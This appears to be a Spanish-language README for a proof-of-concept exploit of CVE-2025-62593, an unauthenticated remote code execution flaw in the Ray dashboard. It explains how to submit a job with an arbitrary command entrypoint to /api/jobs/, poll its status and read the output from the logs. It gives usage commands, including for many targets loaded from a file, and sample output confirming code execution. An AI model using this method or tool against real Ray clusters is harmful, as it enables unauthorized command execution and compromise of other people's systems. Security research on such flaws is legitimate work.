
PoC para CVE-2025-62593: RCE no autenticado en Ray (CISA KEV). Python únicamente con stdlib.
Prueba de concepto para CVE-2025-62593, una vulnerabilidad de Ejecución Remota de Código sin autenticación en el motor de computación distribuida de IA Ray, explotada mediante ataques de rebinding de DNS basados en navegador. Fue añadida al catálogo de Vulnerabilidades Explotadas Conocidas (KEV) de CISA y está siendo explotada activamente.
La causa raíz es una decisión de diseño de larga data del equipo de Ray de ejecutar
sin autenticación los endpoints HTTP críticos como /api/jobs y
/api/job_agent/jobs. Debido a ello, un atacante remoto no autenticado puede enviar un
Job de Ray cuyo entrypoint es un comando arbitrario, que luego se ejecuta en el nodo
cabeza del clúster — ejecución remota de código completa.
Este PoC se comunica directamente con la API HTTP del Panel de Ray (no se necesita navegador/rebinding de DNS para demostrar el fallo subyacente) y recupera la salida del comando desde los registros del job.
POST /api/jobs/ con un entrypoint que ejecuta tu comando y captura su
stdout/stderr en un archivo temporal, y luego imprime el archivo de vuelta.GET /api/jobs/ hasta que el job alcanza un estado terminal.GET /api/jobs/<submission_id>/logs e imprime la salida del comando.# Objetivo único
python3 ray_rce_poc.py --target http://HOST:8265
# Comando personalizado
python3 ray_rce_poc.py --target http://HOST:8265 --command "id; uname -a"
# Múltiples objetivos desde un archivo (uno por línea, '#' = comentario)
python3 ray_rce_poc.py --targets targets.txt --command id
# Escribir un resumen JSON
python3 ray_rce_poc.py --target http://HOST:8265 --output out.json
# Ayuda
python3 ray_rce_poc.py --help
Requiere solo la biblioteca estándar de Python 3 — sin dependencias de terceros.
$ python3 ray_rce_poc.py --target http://localhost:8265 --command "id; hostname"
== http://localhost:8265
Running entrypoint for job raysubmit_XXX: python -c "import os,os.path; ..."
uid=1000(ray) gid=100(users) groups=100(users),27(sudo)
05cdb1bea437
=> PASS (RCE confirmed, status: SUCCEEDED, exit code: 0)
Para investigación de seguridad y pruebas autorizadas solamente. Úsalo solo contra sistemas que poseas o para los que tengas permiso explícito de prueba. El autor no es responsable del uso indebido.